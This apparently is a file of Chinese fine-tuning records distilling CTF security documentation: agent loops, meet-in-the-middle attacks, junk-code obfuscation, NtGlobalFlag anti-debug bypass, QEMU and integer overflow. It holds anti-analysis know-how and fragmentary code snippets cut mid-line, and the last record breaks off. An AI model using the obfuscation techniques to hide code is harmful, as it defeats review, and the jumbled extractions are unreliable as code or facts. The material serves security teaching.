{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6ef4eabdf6e7445ba63a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「7. 参数与配置管理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 7. 参数与配置管理\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“7. 参数与配置管理”展开。\n- 以及我们需要一份单独的配置文件，方便后续进行模型信息等的修改，这里笔者选择使用 JSON 格式编写配置文件，方便后续管理，以下是一个示例：\n- ``json { \"container\" : \"a3ctf24\", \"chall_info\" : \"Your remote target is at YOUR_TARGET_HERE\", \"llm_config\" : { \"url\": \"https://api.deepseek.com/chat/completions\", \"model\": \"deepseek-v4-pro\", \"headers\" : { \"Content-Type\": \"application/json\", \"Authorization\":...\n- with open(path) as f: data = json.load(f)\n- self.container = data[\"container\"] self.chall_info = data[\"chall_info\"] self.llm = data[\"llm_config\"]\n- def parse_args(argv) -> tuple[AgentConfig, bool]: arg_parser = argparse.ArgumentParser( description=\"Naive Agent Loop, developed by arttnba3 @ A3INFRA\" ) arg_parser.add_argument(\"--config\", type=str, help=\"Path to config file\") args = arg_parser.parse_args()\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:json\n- code:python\n\n代码/命令片段线索：\n- json: 12 行，首行 `{`\n- python: 21 行，首行 `class AgentConfig:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1070, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "7. 参数与配置管理", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "7. 参数与配置管理"], "original_id": "docs-fd4ff78b9fea5314a767", "original_line": 1, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "2733fe457f0a5ea58c06420e", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop", "code:json", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6fa5f7cdfacf37bfb08b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/attack-summary/meet-in-the-middle.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/attack-summary/meet-in-the-middle.md`\n标题：中间相遇攻击 - MITM\n章节：中间相遇攻击 - MITM > 概述\n路径分类：crypto / crypto/attack-summary/meet-in-the-middle.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 基本原理如下 假设 E 和 D 分别是加密函数和解密函数，k1 和 k2 分别是两次加密使用的密钥，则我们有 $C=E_{k_2}(E_{k_1}(P))$ $P=D_{k_1}(D_{k_2}(C))$ 则我们可以推出 $E_{k_1}(P)=D_{k_2}(C)$ 那么，当用户知道一对明文和密文时 1. 攻击者可以枚举所有的 k1，将 P 所有加密后的结果存储起来，并按照密文的大小进行排序。\n- 中间相遇攻击是一种以空间换取时间的一种攻击方法，1977年由 Diffie 与 Hellman 提出。\n- 从个人角度看，者更多地指一种思想，不仅仅适用于密码学攻击，也适用于其他方面，可以降低算法的复杂度。\n- 2. 攻击者进一步枚举所有的k2，将密文 C 进行解密得到 C1，在第一步加密后的结果中搜索 C1，如果搜索到，则我们在一定程度上可以认为我们找到了正确的 k1 和 k2。\n- 假设 k1 和 k2 的密钥长度都为 n，则原先我们暴力枚举需要 $O(n^2)$，现在我们只需要 $O(n log_2n)$。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- attack-summary\n- meet-in-the-middle.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 521, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "概述", "heading_path": ["中间相遇攻击 - MITM", "概述"], "original_id": "docs-b2668811ef8f1b30ce31", "original_line": 306, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/meet-in-the-middle.md", "source_root": "docs", "source_sha256": "4f904f2c9c9e203f4269b1d789dc5dc07ba459afddb557d50c71ee708a8ea379", "split": "train", "split_group_key": "b80365c538a91a34e3d6d486", "subcategory": "crypto/attack-summary/meet-in-the-middle.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "attack-summary", "meet-in-the-middle.md"], "title": "中间相遇攻击 - MITM"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/meet-in-the-middle.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-70a69d47b530e3b57923", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/junk-code.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/junk-code.md`\n标题：花指令\n章节：花指令 > 例题：N1CTF2020 - oflo > 逆向分析\n路径分类：reverse / reverse/obfuscate/junk-code.md\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“逆向分析”展开。\n- CODE XREF: main+193↓p .text:0000000000400A69 ;\n- DATA XREF: main+B4↓o .text:0000000000400A69 .text:0000000000400A69 var_40 = qword ptr -40h .text:0000000000400A69 .text:0000000000400A69 ;\n- '_' .text:0000000000400AC0 jz short loc_400AC9 .text:0000000000400AC2 jnz short loc_400AC9 .text:0000000000400AC4 jmp near ptr 801AC9h ` 在 0x400B0E 处还是存在一处和前面一样的花指令，继续 patch： `c .text:0000000000400B0E call loc_400B16 .text:0000000000400B0E ;\n- } } ptrace(PTRACE_SYSCALL, v4, 0LL, 0LL);\n- } `` sub_4007D1() 比较简单，主要就是将子进程调用 write() 的输出结果拷贝回父进程： `c __int64 __fastcall sub_4007D1(unsigned int a1, __int64 a2, __int64 a3, __int64 a4) { __int64 result;\n\n关键术语：\n- AI安全\n- 修复/缓解\n- reverse\n- obfuscate\n- junk-code.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 ``sub_4007D1()` 比较简单，主要就是将子进程调用 `write()` 的输出结果拷贝回父进程：`\n- plain: 1 行，首行 `接下来我们回到 `main()` 中，由于 `sub_400A69()` 会在运行时被修改因此我们需要将修改结果直接应用到 IDA 中以获得正确的反汇编结果，其会取 flag 的前 5 字节与代码段进行运算，而 flag 的前 5 字...`\n- plain: 1 行，首行 `在 `sub_400A69()` 当中还存在一个伪花指令，这里直接将 `0x400AC4` 的 `jmp` 给 patch 为 `nop` 即可：`\n- plain: 1 行，首行 `在 `0x400B0E` 处还是存在一处和前面一样的花指令，继续 patch：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 3877, "chunk_count": 3, "chunk_index": 2, "ctf_score": 18, "ctf_task_type": "ai", "heading": "逆向分析", "heading_path": ["花指令", "例题：N1CTF2020 - oflo", "逆向分析"], "original_id": "docs-98bcac802e32ad4c0760", "original_line": 84, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "source_root": "docs", "source_sha256": "c78ad0d3ed80ba8667a696d4a4bc59e259c3d3a4228edc8ff4bb6fc89fb371e4", "split": "train", "split_group_key": "3fb740b307db8534cfb1f449", "subcategory": "reverse/obfuscate/junk-code.md", "terms": ["AI安全", "修复/缓解", "reverse", "obfuscate", "junk-code.md"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-728cb774823e3278fe8b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/junk-code.md` 中的章节「编写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/junk-code.md`\n标题：花指令\n章节：花指令 > 编写\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编写”展开。\n- 值得注意的是，ida 对于栈的判定比较严格，因此 push，ret 一类的花指令会干扰反汇编器的正常运行，下面给出一个具体的例子，读者可以自己编译复现： `c++ #include  // 使用 gcc/g++ 进行编译 int main(){ __asm__(\".byte 0x55;\n- // push rbp 保存栈 __asm__(\".byte 0xe8,0,0,0,0;\n- // pop rbp 还原栈 printf(\"whoami \\n\");\n- 最简单的花指令使用了内联汇编的方式进行，下面以 VC 添加花指令的方式举例，gnu 的编译器也可以采用类似的方式添加花指令，但是使用 AT&T 汇编： ``c // 正常的函数代码 int add(int a, int b){ int c = 0;\n- } // 添加花指令的函数代码 int add_with_junk(int a, int b){ int c = 0;\n\n关键术语：\n- 栈\n- AI安全\n- 修复/缓解\n- reverse\n- platform\n- windows\n- anti-debug\n- code:c\n- code:asm\n- code:c++\n\n代码/命令片段线索：\n- c: 18 行，首行 `// 正常的函数代码`\n- asm: 33 行，首行 `// 添加了花指令`\n- c++: 14 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1911, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "编写", "heading_path": ["花指令", "编写"], "original_id": "docs-e0d542db93e04915ac3c", "original_line": 85, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/junk-code.md", "source_root": "docs", "source_sha256": "ac4473c0c424a0038745531c163359fffdddcba10571191f41111b2f050b99e7", "split": "train", "split_group_key": "bf76a5e3ccffe991109e4ef5", "subcategory": "reverse/platform/windows", "terms": ["栈", "AI安全", "修复/缓解", "reverse", "platform", "windows", "anti-debug", "code:c", "code:asm", "code:c++"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-72e5c6b77848cb1cf958", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「设备直通（Device passthrough）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 基本模型 > 设备直通（Device passthrough）\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 上面的这两种模型或多或少都存在着一定的性能开销，如果该设备需要被多个 VM 共享，那这种开销或许是值得的，但如果该设备并不需要共享，那么我们其实可以使用一种更为高效的方法——设备直通（Device passthrough）。\n- 设备直通可以理解为设备独占的设备模拟：直接将设备隔离给到指定的 VM 上，以便该设备可以由该 VM 独占使用。\n- 这提供了接近于原生设备的性能，例如对于一些需要大量 IO 的设备（例如网络设备等），使用设备直通能提供相当完美的性能。\n- [图片文件: ./figure/pci-passthrough.png]\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "设备直通（Device passthrough）", "heading_path": ["IO 虚拟化", "基本模型", "设备直通（Device passthrough）"], "original_id": "docs-14dcd2be43cc3a05ea8c", "original_line": 1410, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "17c18af49af334ce185e64c4", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-73032c4076bac0a7a083", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu.md` 中的章节「获取 QEMU 源码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu.md`\n标题：QEMU 下载与编译\n章节：QEMU 下载与编译 > 获取 QEMU 源码\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取 QEMU 源码”展开。\n- 我们可以前往 qemu 的官网下载对应版本的源码： ``shell $ wget https://download.qemu.org/qemu-7.0.0.tar.xz $ tar -xf qemu-7.0.0.tar.xz ` 也可以直接从 GitHub 上获取： `shell $ git clone [EMAIL_REDACTED]:qemu/qemu.git ``\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `$ wget https://download.qemu.org/qemu-7.0.0.tar.xz`\n- shell: 1 行，首行 `$ git clone [EMAIL_REDACTED]:qemu/qemu.git`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 256, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "获取 QEMU 源码", "heading_path": ["QEMU 下载与编译", "获取 QEMU 源码"], "original_id": "docs-a9e8805a757b040be3e1", "original_line": 1437, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "source_root": "docs", "source_sha256": "7a872403384ead2f2daba84faf227f631c640da3c7ff7b7e049dd013b69c9a73", "split": "train", "split_group_key": "ee43031de990489c8be2034c", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "environment", "code:shell"], "title": "QEMU 下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-73dcb674836edbc4ec57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「未限制范围」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`\n标题：整数溢出\n章节：assembly code > 例子 > 未限制范围\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“未限制范围”展开。\n- 简单的写一个示例: ```c $ cat test.c #include int main(void) { int len;\n- 这种情况很好理解，比如有一个固定大小的桶，往里面倒水，如果你没有限制倒入多少水，那么水则会从桶中溢出来。\n- len = data_len+header_len buf = malloc(len);\n- scanf(\"%uld\", &data_len);\n- } $ gcc test.c $ ./a.out -1 asdfasfasdfasdfafasfasfasdfasdf\n\n关键术语：\n- 边界/溢出\n- AI安全\n- pwn\n- linux\n- user-mode\n- integeroverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 399, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "未限制范围", "heading_path": ["assembly code", "例子", "未限制范围"], "original_id": "docs-62777cacc75ff000d8eb", "original_line": 1193, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "source_root": "docs", "source_sha256": "959bb364d37f2e799d50154207a0ed57e01a3cf27d5bd74723e161e6e9a941f6", "split": "train", "split_group_key": "0f314ce2eed1173c16b57329", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "pwn", "linux", "user-mode", "integeroverflow"], "title": "整数溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-748cf60cf2db7262f19f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「I、TypeInfo - 类的基本属性」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > QEMU Object Model > I、TypeInfo - 类的基本属性\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“I、TypeInfo - 类的基本属性”展开。\n- ` type_init() 其实就是 constructor 这一 gcc attribute 的封装，其作用就是将一个函数加入到一个 init_array 当中，在 Qemu 程序启动时在进入到 main 函数之前会先调用 init_array 中的函数，因此这里会调用我们自定义的函数，其作用便是调用 type_register_static() 将我们自定义的类型 a3_type_info` 注册到全局的类型表中。\n- TypeInfo 这一结构体用来定义一个 类 的基本属性，该结构体定义于 include/qom/object.h 当中： ``c /* TypeInfo: @name: 类型名. @parent: 父类型名. @instance_size: 对象大小 (#Object 的衍生物). 若 @instance_size 为 0, 则对象的大小为其父类的大小 @instance_init: 该函数被调用以初始化对象（译注：构造函数）. （译注：调用前）父类已被初始化，因此子类只需要初始化他自己的成员。\n- ` 当我们在 Qemu 中要定义一个类的时候，我们实际上需要定义一个 TypeInfo 类型的变量，以下是一个在 Qemu 定义一个自定义类的例子： `c static const TypeInfo a3_type_info = { .name = \"a3_type\", .parent = TYPE_OBJECT, .interfaces = (InterfaceInfo[]) { { }, }, } static void a3_register_types(void) { type_register_st...\n- @class_size: 这个对象的类对象的大小 (#Object 的衍生物) 若 @class_size 为 0, 则类的大小为其父类的大小。\n- void (class_init)(ObjectClass klass, void data);\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 43 行，首行 `/**`\n- c: 11 行，首行 `static const TypeInfo a3_type_info = {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1867, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "I、TypeInfo - 类的基本属性", "heading_path": ["编写 QEMU 模拟设备", "QEMU Object Model", "I、TypeInfo - 类的基本属性"], "original_id": "docs-765132509aa6902b1237", "original_line": 1431, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "20154617d4cbc42074b125ad", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "environment", "code:c"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-75899816e6f362227808", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「手动绕过示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 手动绕过示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“手动绕过示例”展开。\n- Value 0x70 corresponds to all flags on (FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK, FLG_HEAP_VALIDATE_PARAMETERS) .text:004035A1 89 85 D8 E7 FF FF mov [ebp+var_1828], eax .text:004035A7 83 BD D8 E7 FF FF 00 cmp [ebp+var_1828], 0 ;\n- 以下是一个演示如何手动绕过检测的示例 `` asm .text:00403594 64 A1 30 00 00 00 mov eax, large fs:30h ;\n- Check whether 3 debug flags were on (result of substraction should be 0 if debugged) .text:004035AE 75 05 jnz short loc_4035B5 ;\n- IDA Pro display error (the byte is actually used in the next instruction) .text:0040359A 3E 8B 40 68 mov eax, [eax+68h] ;\n- NtGlobalFlag (offset 0x68 relative to PEB) saved to EAX .text:0040359E 83 E8 70 sub eax, 70h ;\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1078, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "手动绕过示例", "heading_path": ["NtGlobalFlag", "手动绕过示例"], "original_id": "docs-f2ce05e14a114dcb8b34", "original_line": 1526, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "d75ec7de624b8189bcf3973d", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-76e8ac5132ba54b1b1a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「5. 规划与控制（Planning & Control）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > AI Agent 的系统架构 > 5. 规划与控制（Planning & Control）\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“5. 规划与控制（Planning & Control）”展开。\n- 因此，许多 Agent 系统会引入显式的规划模块，例如： - 任务拆解（Task Decomposition） - 长期计划生成（Planning） - 子目标管理（Subgoal Tracking） 该模块可以由 LLM 实现，也可以结合规则或外部算法完成。\n- 其作用在于： - 提高任务完成效率 - 降低无效探索 - 增强整体行为的稳定性 > 💡开放性问题： > > 有的人认为 AI Agent 本质上是一种以 LLM 取代传统 CPU 作为核心的“操作系统”，也有的人认为这本质上是污染了“操作系统”这一科学术语的语义的一种营销概念，对此你怎么看？\n- 在复杂任务中，仅依赖逐步决策往往会导致效率低下甚至方向偏移。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 312, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "5. 规划与控制（Planning & Control）", "heading_path": ["AI Agent", "AI Agent 的系统架构", "5. 规划与控制（Planning & Control）"], "original_id": "docs-22b9d66b5e5c9ebd5de0", "original_line": 7, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "3475c9ed4a4546dc2005c066", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7a8c40cbb323ba46b1e6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目\n路径分类：ai / ai/ai-for-security/agent\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目”展开。\n- ``` 可以看到的是，我们的 Naive Agent Loop 确乎成功地完成了对目标靶机的攻击，并成功地通过 12 个 Step 获取到了环境中的 flag，虽然我们的 Agent Loop 的整个决策过程或许还有些傻，但这证明了基础的 Agent Loop 确实存在一定程度上的自动化完成任务的能力。\n- [] LLM replied in 2.8776490688323975 